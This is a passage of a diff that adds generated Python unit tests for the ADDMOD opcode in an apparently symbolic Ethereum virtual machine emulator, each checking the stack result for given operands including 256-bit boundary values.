+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_546(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_547(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_548(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_549(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_550(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_551(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_552(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_ADDMOD_553(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_554(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_555(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_556(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_557(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_558(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_559(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_560(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_561(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_562(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_563(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_564(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_565(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_566(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_567(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_568(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [30L])
+
+    def test_ADDMOD_569(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_570(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_571(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_572(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [14L])
+
+    def test_ADDMOD_573(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_574(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADDMOD_575(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_576(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_577(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
